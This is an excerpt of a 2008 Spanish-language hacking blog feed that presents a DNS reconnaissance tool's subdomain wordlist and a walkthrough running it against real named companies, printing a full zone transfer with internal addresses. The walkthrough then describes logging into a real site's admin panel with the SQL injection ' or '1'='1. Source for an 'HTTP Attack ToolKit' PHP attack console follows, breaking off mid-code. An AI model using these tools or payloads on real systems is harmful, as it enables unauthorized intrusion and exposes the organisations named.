/&gt;&amp;lt;/whois&amp;gt;&lt;br /&gt;&amp;lt;whois&amp;gt;&lt;br /&gt;&amp;lt;etiqueta&amp;gt;Domain Name&amp;lt;/etiqueta&amp;gt;&lt;br /&gt;&amp;lt;imprimir&amp;gt;Domain Name: &amp;lt;/imprimir&amp;gt;&lt;br /&gt;&amp;lt;/whois&amp;gt;&lt;br /&gt;&amp;lt;whois&amp;gt;&lt;br /&gt;&amp;lt;etiqueta&amp;gt;Administrative Contact, Technical Contact&amp;lt;/etiqueta&amp;gt;&lt;br /&gt;&amp;lt;imprimir&amp;gt;Datos Tecnicos: &amp;lt;/imprimir&amp;gt;&lt;br /&gt;&amp;lt;/whois&amp;gt;&lt;br /&gt;&amp;lt;/db&amp;gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;db.txt&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span id="fullpost"&gt;&lt;div align="center"&gt;&lt;pre style="overflow: auto; width: 400px; height: 150px;"&gt;&lt;div align="left"&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;www&lt;br /&gt;www1&lt;br /&gt;www2&lt;br /&gt;www3&lt;br /&gt;ftp&lt;br /&gt;ns&lt;br /&gt;mail&lt;br /&gt;3com&lt;br /&gt;aix&lt;br /&gt;apache&lt;br /&gt;back&lt;br /&gt;bind&lt;br /&gt;boreder&lt;br /&gt;bsd&lt;br /&gt;business&lt;br /&gt;chains&lt;br /&gt;cisco&lt;br /&gt;content&lt;br /&gt;corporate&lt;br /&gt;cpv&lt;br /&gt;dns&lt;br /&gt;domino&lt;br /&gt;dominoserver&lt;br /&gt;download&lt;br /&gt;e-mail&lt;br /&gt;e-safe&lt;br /&gt;email&lt;br /&gt;esafe&lt;br /&gt;external&lt;br /&gt;extranet&lt;br /&gt;firebox&lt;br /&gt;firewall&lt;br /&gt;front&lt;br /&gt;fw&lt;br /&gt;fw0&lt;br /&gt;fwe&lt;br /&gt;fw-1&lt;br /&gt;firew&lt;br /&gt;gate&lt;br /&gt;gatekeeper&lt;br /&gt;gateway&lt;br /&gt;gauntlet&lt;br /&gt;group&lt;br /&gt;help&lt;br /&gt;hop&lt;br /&gt;hp&lt;br /&gt;hpjet&lt;br /&gt;hpux&lt;br /&gt;http&lt;br /&gt;https&lt;br /&gt;hub&lt;br /&gt;ibm&lt;br /&gt;ids&lt;br /&gt;info&lt;br /&gt;inside&lt;br /&gt;internal&lt;br /&gt;internet&lt;br /&gt;intranet&lt;br /&gt;ipfw&lt;br /&gt;irix&lt;br /&gt;jet&lt;br /&gt;list&lt;br /&gt;lotus&lt;br /&gt;lotusdomino&lt;br /&gt;lotusnotes&lt;br /&gt;lotusserver&lt;br /&gt;mailfeed&lt;br /&gt;mailgate&lt;br /&gt;mailgateway&lt;br /&gt;mailgroup&lt;br /&gt;mailhost&lt;br /&gt;maillist&lt;br /&gt;mailpop&lt;br /&gt;mailrelay&lt;br /&gt;mimesweeper&lt;br /&gt;ms&lt;br /&gt;msproxy&lt;br /&gt;mx&lt;br /&gt;nameserver&lt;br /&gt;news&lt;br /&gt;newsdesk&lt;br /&gt;newsfeed&lt;br /&gt;newsgroup&lt;br /&gt;newsroom&lt;br /&gt;newsserver&lt;br /&gt;nntp&lt;br /&gt;notes&lt;br /&gt;noteserver&lt;br /&gt;notesserver&lt;br /&gt;nt&lt;br /&gt;outside&lt;br /&gt;pix&lt;br /&gt;pop&lt;br /&gt;pop3&lt;br /&gt;pophost&lt;br /&gt;popmail&lt;br /&gt;popserver&lt;br /&gt;print&lt;br /&gt;printer&lt;br /&gt;private&lt;br /&gt;proxy&lt;br /&gt;proxyserver&lt;br /&gt;public&lt;br /&gt;qpop&lt;br /&gt;raptor&lt;br /&gt;read&lt;br /&gt;redcreek&lt;br /&gt;redhat&lt;br /&gt;route&lt;br /&gt;router&lt;br /&gt;scanner&lt;br /&gt;screen&lt;br /&gt;screening&lt;br /&gt;secure&lt;br /&gt;seek&lt;br /&gt;smail&lt;br /&gt;smap&lt;br /&gt;smtp&lt;br /&gt;smtpgateway&lt;br /&gt;smtpgw&lt;br /&gt;solaris&lt;br /&gt;sonic&lt;br /&gt;spool&lt;br /&gt;squid&lt;br /&gt;sun&lt;br /&gt;sunos&lt;br /&gt;suse&lt;br /&gt;switch&lt;br /&gt;transfer&lt;br /&gt;trend&lt;br /&gt;trendmicro&lt;br /&gt;vlan&lt;br /&gt;vpn&lt;br /&gt;wall&lt;br /&gt;web&lt;br /&gt;webmail&lt;br /&gt;webserver&lt;br /&gt;webswitch&lt;br /&gt;win2000&lt;br /&gt;win2k&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;instalación&lt;/span&gt;: Correr installer.pl darle yes a todo lo que pregunte y listo xD...&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7920044947628905249-7123031809688497186?l=xianur0.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xianur0.blogspot.com/feeds/7123031809688497186/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7920044947628905249&amp;postID=7123031809688497186' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/7123031809688497186'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/7123031809688497186'/><link rel='alternate' type='text/html' href='http://xianur0.blogspot.com/2008/08/dns-hunter-fenix-10.html' title='DNS Hunter Fenix 1.0'/><author><name>Xianur0</name><uri>http://www.blogger.com/profile/14466861157567932478</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7920044947628905249.post-2169879656079995438</id><published>2008-08-18T13:31:00.001-07:00</published><updated>2008-08-18T13:31:54.248-07:00</updated><title type='text'>Testeando con DNS Hunter</title><content type='html'>&lt;b&gt;Nota Previa: este texto es de la versi�n reducida del DNS Hunter (es decir no la fenix).&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;DNS Hunter&lt;/b&gt; es una tool que hice para el duelo con tiger, pero me pidieron que hiciera un manual de como testear con ella, bueno vamos a lo simple:&lt;br /&gt;&lt;br /&gt;Solo explicare algunas partes de la tool que no se vieron en los manuales de arriba:&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Buscador de DNS Rotativos:&lt;/b&gt;&lt;br /&gt;Detecta cuando un servidor usa enmascaramiento por DNS y cuando rotan los DNS (cambia de servidor DNS cada cierto tiempo).&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Visualizador de Zonas:&lt;/b&gt;&lt;br /&gt;Esta Funci�n es muy �til para detectar un servidor DNS mal configurado ademas de detectar todos los subdominios de un dominio dado, y aunque a muchos les sorprenda muchos de los servidores mas famosos son vulnerables (incluyendo a wikipedia jejejeje).&lt;br /&gt;&lt;br /&gt;Bueno ya explique las partes "dudosas", ahora explicare como podr�amos usar esto:&lt;br /&gt;&lt;br /&gt;Utilizare un objetivo general que encontre en google para este ligero texto xD:&lt;br /&gt;&lt;br /&gt;telefe.com.ar&lt;br /&gt;&lt;br /&gt;&lt;div class="codeheader"&gt;Código:&lt;/div&gt;&lt;div class="code"&gt;&lt;pre style="margin-top: 0pt; display: inline;"&gt;UxMal Desktop # dns.pl telefe.com.ar&lt;br /&gt;                                        ..::DNS Hunter By UxMal::..&lt;br /&gt;&lt;br /&gt;[-]Registro SOA:&lt;br /&gt;telefe.com.ar.  43200   IN      SOA     telefe.com.ar. webmaster.telefe.com.ar. (&lt;br /&gt;                                        2007081401      ; Serial&lt;br /&gt;                                        3600    ; Refresh&lt;br /&gt;                                        180     ; Retry&lt;br /&gt;                                        1296000 ; Expire&lt;br /&gt;                                        900 )   ; Minimum TTL&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[-]Servidores DNS:&lt;br /&gt;tlfdns02.telefe.com.ar&lt;br /&gt;tlfdns01.telefe.com.ar&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[-]Buscando DNS Rotativos...:&lt;br /&gt;[-]Obteniendo Informacion Extra:&lt;br /&gt;telefe.com.ar.  43199   IN      SOA     telefe.com.ar. webmaster.telefe.com.ar. (&lt;br /&gt;                                        2007081401      ; Serial&lt;br /&gt;                                        3600    ; Refresh&lt;br /&gt;                                        180     ; Retry&lt;br /&gt;                                        1296000 ; Expire&lt;br /&gt;                                        900 )   ; Minimum TTL&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[-]Intentando Obtener Zonas....: Usando: tlfdns01.telefe.com.ar&lt;br /&gt;telefe.com.ar.  43200   IN      SOA     telefe.com.ar. webmaster.telefe.com.ar. (&lt;br /&gt;                                        2007081401      ; Serial&lt;br /&gt;                                        3600    ; Refresh&lt;br /&gt;                                        180     ; Retry&lt;br /&gt;                                        1296000 ; Expire&lt;br /&gt;                                        900 )   ; Minimum TTL&lt;br /&gt;telefe.com.ar.  43200   IN      MX      5 tlfdns03.telefe.com.ar.&lt;br /&gt;telefe.com.ar.  43200   IN      MX      10 tlfdns01.telefe.com.ar.&lt;br /&gt;telefe.com.ar.  43200   IN      MX      15 tlfdns02.telefe.com.ar.&lt;br /&gt;telefe.com.ar.  43200   IN      NS      tlfdns01.telefe.com.ar.&lt;br /&gt;telefe.com.ar.  43200   IN      NS      tlfdns02.telefe.com.ar.&lt;br /&gt;telefe.com.ar.  43200   IN      TXT     "v=spf1 ip4:192.168.171.146 ip4:192.168.172.153 ip4:192.168.171.1 ip4:192.168.172.1 mx -all"&lt;br /&gt;telefe.com.ar.  43200   IN      A       66.231.227.176&lt;br /&gt;bahiablanca.telefe.com.ar.      43200   IN      CNAME   c9bahiablanca.dyndns.org.&lt;br /&gt;c11salta.telefe.com.ar. 43200   IN      CNAME   c11salta.dyndns.org.&lt;br /&gt;c13santafe.telefe.com.ar.       43200   IN      CNAME   c13santafe.dyndns.org.&lt;br /&gt;c5rosario.telefe.com.ar.        43200   IN      CNAME   c5rosario.dyndns.org.&lt;br /&gt;c7neuquen.telefe.com.ar.        43200   IN      CNAME   c7neuquen.dyndns.org.&lt;br /&gt;c8cordoba.telefe.com.ar.        43200   IN      CNAME   c8cordoba.dyndns.org.&lt;br /&gt;c8mardelplata.telefe.com.ar.    43200   IN      CNAME   c8mardelplata.dyndns.org.&lt;br /&gt;c8tucuman.telefe.com.ar.        43200   IN      CNAME   c8tucuman.dyndns.org.&lt;br /&gt;c9bahiablanca.telefe.com.ar.    43200   IN      CNAME   c9bahiablanca.dyndns.org.&lt;br /&gt;cordoba.telefe.com.ar.  43200   IN      CNAME   c8cordoba.dyndns.org.&lt;br /&gt;daresdar.telefe.com.ar. 43200   IN      A       66.231.227.173&lt;br /&gt;www.daresdar.telefe.com.ar.     43200   IN      A       66.231.227.173&lt;br /&gt;dns1.telefe.com.ar.     43200   IN      CNAME   tlfdns01.telefe.com.ar.&lt;br /&gt;dns2.telefe.com.ar.     43200   IN      CNAME   tlfdns02.telefe.com.ar.&lt;br /&gt;dns3.telefe.com.ar.     43200   IN      CNAME   tlfdns03.telefe.com.ar.&lt;br /&gt;ftp.telefe.com.ar.      43200   IN      A       200.51.91.146&lt;br /&gt;gh07.telefe.com.ar.     43200   IN      A       66.231.227.173&lt;br /&gt;gh07famosos.telefe.com.ar.      43200   IN      A       66.231.227.173&lt;br /&gt;gh2007.telefe.com.ar.   43200   IN      A       66.231.227.173&lt;br /&gt;gh5.telefe.com.ar.      43200   IN      A       66.231.227.173&lt;br /&gt;www.gh5.telefe.com.ar.  43200   IN      A       66.231.227.173&lt;br /&gt;hq.telefe.com.ar.       43200   IN      CNAME   hq1.telefe.com.ar.&lt;br /&gt;hq1.telefe.com.ar.      43200   IN      A       200.51.44.188&lt;br /&gt;hq2.telefe.com.ar.      43200   IN      A       200.51.91.155&lt;br /&gt;mail1.telefe.com.ar.    43200   IN      CNAME   tlfdns01.telefe.com.ar.&lt;br /&gt;mail2.telefe.com.ar.    43200   IN      CNAME   tlfdns02.telefe.com.ar.&lt;br /&gt;mail3.telefe.com.ar.    43200   IN      CNAME   tlfdns03.telefe.com.ar.&lt;br /&gt;mail4.telefe.com.ar.    43200   IN      CNAME   tlfdns04.telefe.com.ar.&lt;br /&gt;mardelplata.telefe.com.ar.      43200   IN      CNAME   c8mardelplata.dyndns.org.&lt;br /&gt;mundoshow.telefe.com.ar.        43200   IN      A       206.221.200.244&lt;br /&gt;neuquen.telefe.com.ar.  43200   IN      CNAME   c7neuquen.dyndns.org.&lt;br /&gt;noticias.telefe.com.ar. 43200   IN      A       66.231.227.176&lt;br /&gt;noticias_cms.telefe.com.ar.     43200   IN      A       66.231.227.176&lt;br /&gt;proveedores.telefe.com.ar.      43200   IN      A       200.51.91.149&lt;br /&gt;www.proveedores.telefe.com.ar.  43200   IN      A       200.51.91.149&lt;br /&gt;rosario.telefe.com.ar.  43200   IN      CNAME   c5rosario.dyndns.org.&lt;br /&gt;salta.telefe.com.ar.    43200   IN      CNAME   c11salta.dyndns.org.&lt;br /&gt;santafe.telefe.com.ar.  43200   IN      CNAME   c13santafe.dyndns.org.&lt;br /&gt;telefe1.telefe.com.ar.  43200   IN      A       200.51.91.152&lt;br /&gt;telefe2.telefe.com.ar.  43200   IN      A       200.16.211.181&lt;br /&gt;telefe6.telefe.com.ar.  43200   IN      A       200.51.91.153&lt;br /&gt;teleinde1.telefe.com.ar.        43200   IN      A       200.51.44.187&lt;br /&gt;tlf-cap-01.telefe.com.ar.       43200   IN      A       200.51.91.149&lt;br /&gt;tlfdns01.telefe.com.ar. 43200   IN      A       200.51.91.146&lt;br /&gt;tlfdns02.telefe.com.ar. 43200   IN      A       200.51.44.189&lt;br /&gt;tlfdns03.telefe.com.ar. 43200   IN      A       200.51.91.153&lt;br /&gt;tlfdns04.telefe.com.ar. 43200   IN      A       200.51.91.150&lt;br /&gt;tucuman.telefe.com.ar.  43200   IN      CNAME   c8tucuman.dyndns.org.&lt;br /&gt;webmail.telefe.com.ar.  43200   IN      A       200.51.91.152&lt;br /&gt;www.telefe.com.ar.      43200   IN      A       66.231.227.176&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;denotamos que es vulnerable a intercambio de zonas, bueno este seria un uso simple:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://noticias_cms.telefe.com.ar/home/index.php" target="_blank"&gt;http://noticias_cms.telefe.com.ar/home/index.php&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;como notaran es un login, si probamos SQL Inyection:&lt;br /&gt;&lt;b&gt;User:&lt;/b&gt; ' or '1'='1&lt;br /&gt;&lt;b&gt;Password:&lt;/b&gt; ' or '1'='1&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Disculpe las molestias&lt;br /&gt;&lt;br /&gt;Admin Admin&lt;br /&gt;&lt;br /&gt;en estos momentos estamos&lt;br /&gt;&lt;br /&gt;trabajando para Ud.&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;como podr�n notar entramos como admin al sistema xD.&lt;br /&gt;&lt;b&gt;&lt;br /&gt;Ahora checamos a google:&lt;/b&gt;&lt;br /&gt;&lt;div class="codeheader"&gt;Código:&lt;/div&gt;&lt;div class="code"&gt;&lt;pre style="margin-top: 0pt; display: inline;"&gt;UxMal Desktop # dns.pl google.com&lt;br /&gt;                                        ..::DNS Hunter By UxMal::..&lt;br /&gt;&lt;br /&gt;[-]Registro SOA:&lt;br /&gt;google.com.     86400   IN      SOA     ns1.google.com. dns-admin.google.com. (&lt;br /&gt;                                        2008030601      ; Serial&lt;br /&gt;                                        7200    ; Refresh&lt;br /&gt;                                        1800    ; Retry&lt;br /&gt;                                        1209600 ; Expire&lt;br /&gt;                                        300 )   ; Minimum TTL&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[-]Servidores DNS:&lt;br /&gt;ns2.google.com&lt;br /&gt;ns3.google.com&lt;br /&gt;ns4.google.com&lt;br /&gt;ns1.google.com&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[-]Buscando DNS Rotativos...:&lt;br /&gt;IP: 64.233.187.99&lt;br /&gt;Host: jc-in-f99.google.com&lt;br /&gt;&lt;br /&gt;IP: 64.233.167.99&lt;br /&gt;Host: py-in-f99.google.com&lt;br /&gt;&lt;br /&gt;IP: 72.14.207.99&lt;br /&gt;Host: eh-in-f99.google.com&lt;br /&gt;&lt;br /&gt;[-]Obteniendo Informacion Extra:&lt;br /&gt;google.com.     86399   IN      SOA     ns1.google.com. dns-admin.google.com. (&lt;br /&gt;                                        2008030601      ; Serial&lt;br /&gt;                                        7200    ; Refresh&lt;br /&gt;                                        1800    ; Retry&lt;br /&gt;                                        1209600 ; Expire&lt;br /&gt;                                        300 )   ; Minimum TTL&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[-]Intentando Obtener Zonas....: Usando: ns1.google.com&lt;br /&gt;No se Logro Obtener Zonas :(...Provando DNS Brutes Forces:&lt;br /&gt;www.google.com existe!&lt;br /&gt;www2.google.com existe!&lt;br /&gt;www3.google.com existe!&lt;br /&gt;ns1.google.com existe!&lt;br /&gt;ns2.google.com existe!&lt;br /&gt;ns3.google.com existe!&lt;br /&gt;ns4.google.com existe!&lt;br /&gt;ns.google.com existe!&lt;br /&gt;mail.google.com existe!&lt;br /&gt;download.google.com existe!&lt;br /&gt;email.google.com existe!&lt;br /&gt;group.google.com existe!&lt;br /&gt;news.google.com existe!&lt;br /&gt;newsfeed.google.com existe!&lt;br /&gt;print.google.com existe!&lt;br /&gt;proxy.google.com existe!&lt;br /&gt;smtp.google.com existe!&lt;br /&gt;earth.google.com existe!&lt;br /&gt;toolbar.google.com existe!&lt;br /&gt;desktop.google.com existe!&lt;br /&gt;pack.google.com existe!&lt;br /&gt;groups.google.com existe!&lt;br /&gt;directory.google.com existe!&lt;br /&gt;picasa.google.com existe!&lt;br /&gt;book.google.com existe!&lt;br /&gt;books.google.com existe!&lt;br /&gt;adwords.google.com existe!&lt;br /&gt;ads.google.com existe!&lt;br /&gt;images.google.com existe!&lt;br /&gt;checkout.google.com existe!&lt;br /&gt;picasaweb.google.com existe!&lt;br /&gt;scholar.google.com existe!&lt;br /&gt;webaccelerator.google.com existe!&lt;br /&gt;code.google.com existe!&lt;br /&gt;pages.google.com existe!&lt;br /&gt;base.google.com existe!&lt;br /&gt;docs.google.com existe!&lt;br /&gt;doc.google.com existe!&lt;br /&gt;catalog.google.com existe!&lt;br /&gt;catalogs.google.com existe!&lt;br /&gt;labs.google.com existe!&lt;br /&gt;uploads.google.com existe!&lt;br /&gt;adwords.google.com existe!&lt;br /&gt;answers.google.com existe!&lt;br /&gt;bizsolutions.google.com existe!&lt;br /&gt;maps.google.com existe!&lt;br /&gt;map.google.com existe!&lt;br /&gt;directory.google.com existe!&lt;br /&gt;gears.google.com existe!&lt;br /&gt;services.google.com existe!&lt;br /&gt;video.google.com existe!&lt;br /&gt;research.google.com existe!&lt;br /&gt;transfer.google.com existe!&lt;br /&gt;vpn.google.com existe!&lt;br /&gt;web.google.com existe!&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;Como podran notar tiene usa un sistema de enmascaramiento por DNS, es decir el DNS rota cada cierto tiempo, eso es util cuando un deface, es decir cambia la web y nadie ve el deface, o tambien para evitar scanners, etc. Ahora que tenemos los DNS's, podriamos realizar un scanneo mas extensivo. aparte de ello, al no ser vulnerable a intercambio de zonas, corrio el DNS Brutes Forces, que como podran notar, saco informacion interesante jejeje...&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Otro uso:&lt;/b&gt;&lt;br /&gt;&lt;div class="codeheader"&gt;Código:&lt;/div&gt;&lt;div class="code"&gt;&lt;pre style="margin-top: 0pt; display: inline;"&gt;UxMal Desktop # dns.pl atenea-linux.com&lt;br /&gt;                                        ..::DNS Hunter By UxMal::..&lt;br /&gt;&lt;br /&gt;[-]Registro SOA:&lt;br /&gt;atenea-linux.com.       3600    IN      SOA     ns1.awardspace.com. hostmaster.awardspace.com. (&lt;br /&gt;                                        2008030601      ; Serial&lt;br /&gt;                                        10800   ; Refresh&lt;br /&gt;                                        3600    ; Retry&lt;br /&gt;                                        1209600 ; Expire&lt;br /&gt;                                        7200 )  ; Minimum TTL&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[-]Servidores DNS:&lt;br /&gt;ns1.awardspace.com&lt;br /&gt;ns2.awardspace.com&lt;br /&gt;ns3.awardspace.com&lt;br /&gt;ns4.awardspace.com&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[-]Buscando DNS Rotativos...:&lt;br /&gt;IP: 82.197.131.52&lt;br /&gt;Host: www7.awardspace.com&lt;br /&gt;&lt;br /&gt;IP: 82.197.131.52&lt;br /&gt;Host: www7.awardspace.com&lt;br /&gt;&lt;br /&gt;[-]Obteniendo Informacion Extra:&lt;br /&gt;atenea-linux.com.       3599    IN      SOA     ns1.awardspace.com. hostmaster.awardspace.com. (&lt;br /&gt;                                        2008030601      ; Serial&lt;br /&gt;                                        10800   ; Refresh&lt;br /&gt;                                        3600    ; Retry&lt;br /&gt;                                        1209600 ; Expire&lt;br /&gt;                                        7200 )  ; Minimum TTL&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[-]Intentando Obtener Zonas....: Usando: ns4.awardspace.com&lt;br /&gt;No se Logro Obtener Zonas :(...Provando DNS Brutes Forces:&lt;br /&gt;www.atenea-linux.com existe!&lt;br /&gt;mail.atenea-linux.com existe!&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;Buscando DNS's Rotativos, denotamos que detecto awardspace como host de esa web, no se si es por el hack que le hicieron xD, o por que de por si el _ANtrAX_ lo puso ahi jejeje&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;IP: 82.197.131.52&lt;br /&gt;Host: www7.awardspace.com&lt;br /&gt;&lt;br /&gt;aparentemente esta en el servidor www7 de awardspace:&lt;br /&gt;&lt;br /&gt;&lt;div class="codeheader"&gt;Código:&lt;/div&gt;&lt;div class="code"&gt;&lt;pre style="margin-top: 0pt; display: inline;"&gt;UxMal Desktop # nc -vvv 82.197.131.52 80&lt;br /&gt;Warning: forward host lookup failed for www7.awardspace.com: Unknown host&lt;br /&gt;www7.awardspace.com [82.197.131.52] 80 (http) open&lt;br /&gt;GET / HTTP/1.1&lt;br /&gt;Host: www.atenea-linux.com&lt;br /&gt;&lt;br /&gt;HTTP/1.1 200 OK&lt;br /&gt;Date: Fri, 07 Mar 2008 23:30:49 GMT&lt;br /&gt;Server: Apache&lt;br /&gt;Transfer-Encoding: chunked&lt;br /&gt;Content-Type: text/html&lt;br /&gt;&lt;br /&gt;94c&lt;br /&gt;&amp;lt;title&amp;gt;y0u 4r3 0wn3d m0th3r fuck3r !!  xDDDDD&amp;lt;/title&amp;amp;gtl..... y de mas xD...&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;No se ustedes, pero a mi se me ocurre realizar un ataque por headers, en fin....&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Menudo manual corto, pero bueno, creo que sirve de ejemplo del uso de mi tool jeje...&lt;br /&gt;&lt;br /&gt;lo extender� despu�s...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7920044947628905249-2169879656079995438?l=xianur0.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xianur0.blogspot.com/feeds/2169879656079995438/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7920044947628905249&amp;postID=2169879656079995438' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/2169879656079995438'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/2169879656079995438'/><link rel='alternate' type='text/html' href='http://xianur0.blogspot.com/2008/08/testeando-con-dns-hunter.html' title='Testeando con DNS Hunter'/><author><name>Xianur0</name><uri>http://www.blogger.com/profile/14466861157567932478</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7920044947628905249.post-3280789820578488161</id><published>2008-08-18T13:12:00.000-07:00</published><updated>2008-08-23T17:32:30.687-07:00</updated><title type='text'>HTTP Attack ToolKit By UxMal &amp; Inyexion (sources code)</title><content type='html'>&lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;consola.php&lt;/span&gt;&lt;br /&gt;&lt;span id="fullpost"&gt;&lt;div align="center"&gt;&lt;pre style="overflow: auto; width: 400px; height: 150px;"&gt;&lt;div align="left"&gt;&lt;span style="font-size: 100%;"&gt;&lt;br /&gt;&amp;lt;h2&amp;gt;Consola HTTP&amp;lt;/h2&amp;gt;&lt;br /&gt;&amp;lt;form Method=&amp;quot;POST&amp;quot; Action=&amp;quot;&amp;quot;&amp;gt;&lt;br /&gt;&amp;lt;textarea name=&amp;quot;consola&amp;quot; rows=&amp;quot;20&amp;quot; cols=&amp;quot;100&amp;quot;&amp;gt;&lt;br /&gt;&amp;lt;?php&lt;br /&gt;if(isset($_POST[&amp;quot;consola&amp;quot;]))  { $consola = $_POST[&amp;quot;consola&amp;quot;];&lt;br /&gt;$sock = @fsockopen($host, $puerto, &amp;amp;$errno, &amp;amp;$errstr, $TimeOut);&lt;br /&gt;if(!$sock) {&lt;br /&gt;    echo &amp;quot;Puerto $puerto Cerrado&amp;quot;;&lt;br /&gt;}else{&lt;br /&gt;$head = @fputs($sock, &amp;quot;$consola\n\n&amp;quot;);&lt;br /&gt;while(!feof($sock) ) {&lt;br /&gt;$datos .= htmlentities(fgets($sock, 4096));&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;echo $datos;&lt;br /&gt;}&lt;br /&gt;echo '&amp;lt;/textarea&amp;gt;&lt;br /&gt;&amp;lt;input type="hidden" name="puerto" value="'.$puerto.'"&amp;gt;&amp;lt;input type="hidden" name="host" value="'.$host.'"&amp;gt;&lt;br /&gt;&amp;lt;br&amp;gt;&amp;lt;input type="submit" value="OK"&amp;gt;&lt;br /&gt;&amp;lt;/form&amp;gt;';&lt;br /&gt;?&amp;gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;index.php&lt;/span&gt;&lt;br /&gt;&lt;span id="fullpost"&gt;&lt;div align="center"&gt;&lt;pre style="overflow: auto; width: 400px; height: 150px;"&gt;&lt;div align="left"&gt;&lt;span style="font-size: 100%;"&gt;&lt;br /&gt;&amp;lt;?php&lt;br /&gt;include(&amp;quot;functions.php&amp;quot;);&lt;br /&gt;&lt;br /&gt;formulario();&lt;br /&gt;opt();&lt;br /&gt;if (isset($_GET[&amp;quot;atack&amp;quot;])) switch($_GET[&amp;quot;atack&amp;quot;]) {&lt;br /&gt;case put:&lt;br /&gt;put();&lt;br /&gt;break;&lt;br /&gt;case trace:&lt;br /&gt;trace();&lt;br /&gt;break;&lt;br /&gt;case delete:&lt;br /&gt;include(&amp;quot;delete.php&amp;quot;);&lt;br /&gt;break;&lt;br /&gt;case consola:&lt;br /&gt;include(&amp;quot;consola.php&amp;quot;);&lt;br /&gt;break;&lt;br /&gt;case connect:&lt;br /&gt;connect();&lt;br /&gt;break;&lt;br /&gt;default:&lt;br /&gt;header(&amp;quot;Location: index.php&amp;quot;);&lt;br /&gt;break;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;?&amp;gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;functions.php&lt;/span&gt;&lt;br /&gt;&lt;span id="fullpost"&gt;&lt;div align="center"&gt;&lt;pre style="overflow: auto; width: 400px; height: 150px;"&gt;&lt;div align="left"&gt;&lt;span style="font-size: 100%;"&gt;&lt;br /&gt;&amp;lt;?php&lt;br /&gt;&lt;br /&gt;###################################### FORMULARIO ###############################&lt;br /&gt;function formulario()&lt;br /&gt;{&lt;br /&gt;echo&amp;quot;&amp;lt;html&amp;gt;&lt;br /&gt;&amp;lt;center&amp;gt;&lt;br /&gt;&amp;lt;title&amp;gt;HTTP Attack ToolKit By UxMal &amp;amp; InyeXion&amp;lt;/title&amp;gt;&lt;br /&gt;&amp;lt;form method=&amp;quot;POST&amp;quot; action=&amp;quot;&amp;quot;&amp;gt;&lt;br /&gt;&amp;lt;h1&amp;gt;HTTP Atack ToolKit By InyeXion &amp;amp; UxMal&amp;lt;/h1&amp;gt;&lt;br /&gt;&amp;lt;a&amp;gt;Host: &amp;lt;input name=&amp;quot;host&amp;quot; size=&amp;quot;17&amp;quot; type=&amp;quot;text&amp;quot; 